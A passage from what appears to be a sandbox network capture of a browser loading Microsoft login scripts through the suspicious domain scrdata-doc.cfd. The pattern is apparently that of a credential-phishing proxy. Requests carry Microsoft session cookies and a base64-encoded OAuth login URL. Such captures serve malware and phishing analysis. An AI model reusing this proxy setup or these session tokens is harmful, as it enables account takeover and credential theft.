Q2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
2024-04-26 12:37:28 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Fri, 26 Apr 2024 12:37:28 GMT Connection: close
2024-04-26 12:37:28 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-04-26 12:37:28 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 3d 20 70 2e 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 3f 22 20 2b 20 67 65 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 77 63 74 78 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4c 6f 67 69 6e 4f 70 74 69 6f 6e 73 25 33 44 33 25 32 36 22 20 2b 20 70 2e 65 78 74 72 61 63 74 28 22 77 63 74 78 22 2c 20 22 3f 22 20 2b 20 67 65 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 74 20 3d 20 74 2e 73 75 62 73 74 72 28 31 29 29 2c 20 28 65 20 3d 20 70 2e 61 70 70 65 6e 64 28 65 2c 20 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: = p.appendOrReplace( "?" + ge, "wctx", "LoginOptions%3D3%26" + p.extract("wctx", "?" + ge) ); (t = t.substr(1)), (e = p.append(e, t));
2024-04-26 12:37:29 UTC	16384	IN	Data Raw: 20 20 28 65 2e 65 78 70 6f 72 74 73 20 3d 20 70 29 3b 0a 20 20 7d 2c 0a 20 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 6e 2c 20 74 29 20 7b 0a 20 20 20 20 76 61 72 20 69 20 3d 20 74 28 32 29 2c 0a 20 20 20 20 20 20 61 20 3d 20 74 28 31 29 2c 0a 20 20 20 20 20 20 6f 20 3d 20 74 28 34 29 2c 0a 20 20 20 20 20 20 72 20 3d 20 74 28 30 29 2c 0a 20 20 20 20 20 20 73 20 3d 20 77 69 6e 64 6f 77 2c 0a 20 20 20 20 20 20 63 20 3d 20 72 2e 44 69 61 6c 6f 67 49 64 3b 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 6e 20 3d 20 74 68 69 73 2c 0a 20 20 20 20 20 20 20 20 74 20 3d 20 65 2e 69 73 50 6c 61 74 66 6f 72 6d 41 75 74 68 65 6e 74 69 63 61 74 6f 72 41 76 61 69 6c 61 62 6c 65 3b 0a 20 20 20 20 20 20 28 6e 2e 6f 6e 52 65 67 Data Ascii: (e.exports = p); }, function (e, n, t) { var i = t(2), a = t(1), o = t(4), r = t(0), s = window, c = r.DialogId; function d(e) { var n = this, t = e.isPlatformAuthenticatorAvailable; (n.onReg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49744	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:28 UTC	2750	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_l2bvdjfwt697xziuhxpwsg2.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
2024-04-26 12:37:28 UTC	1390	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:28 GMT Content-Type: application/x-javascript content-length: 55071 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 28 Mar 2024 02:23:53 GMT ETag: 0x8DC4ECE1D0444D4 x-ms-request-id: d10d7376-801e-0042-779d-96608b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123728Z-17859dc676b4qqzsyprs6hq54w00000002r000000000f7z7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:28 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2024-04-26 12:37:29 UTC	15789	IN	Data Raw: dd 7d 4d 73 23 47 b2 d8 dd bf 02 8b 75 68 86 4f 3d 10 3e f8 89 11 34 06 01 70 06 4f 24 00 01 e0 50 0a 49 46 34 81 22 d8 4b a0 1b af bb 31 1c 2e 35 8e bd f9 f0 0e be da 37 1f 7c f2 d1 17 df fd 53 36 e2 f9 77 38 3f aa aa ab ba 1b 00 39 d2 d3 ee b3 42 c1 41 77 55 65 65 65 65 65 65 66 65 65 ff e1 66 ed 4f 63 2f f0 5f 8a bd 47 f5 bb 10 bc f4 f7 1e bd 9b 97 de 8f fe cf 7b a1 88 d7 a1 5f c0 df 25 f1 71 15 84 71 f4 fa 83 1b 16 e2 06 be 6a 3c ca 77 f5 c7 4f 8e 37 ab fb ce 22 70 67 62 56 ff 43 e5 d3 6b d9 54 60 d3 a9 bb 58 bc 8c 15 04 27 76 92 df c1 1e 3c 70 b3 c6 1f ca 49 c1 27 ec c6 6b 3c 6a 40 41 69 d9 10 4e 50 9a 36 3c f8 bb 6a 14 8b 4e f0 b2 bc f7 e9 e5 8f c9 30 9c c0 f1 00 f9 97 d5 3d c2 d2 6f 78 2f 2b 00 1f fe 39 d8 73 42 f8 e7 70 cf 71 1b 61 69 14 87 9e 3f Data Ascii: }Ms#GuhO=>4pO$PIF4"K1.57\|S6w8?9BAwUeeeeeefeefOc/_G{_%qqj<wO7"pgbVCkT`X'v<pI'k<j@AiNP6<jN0=ox/+9sBpqai?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49748	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:30 UTC	2713	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/oneDs_641b1cf809bdc17b42ab.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
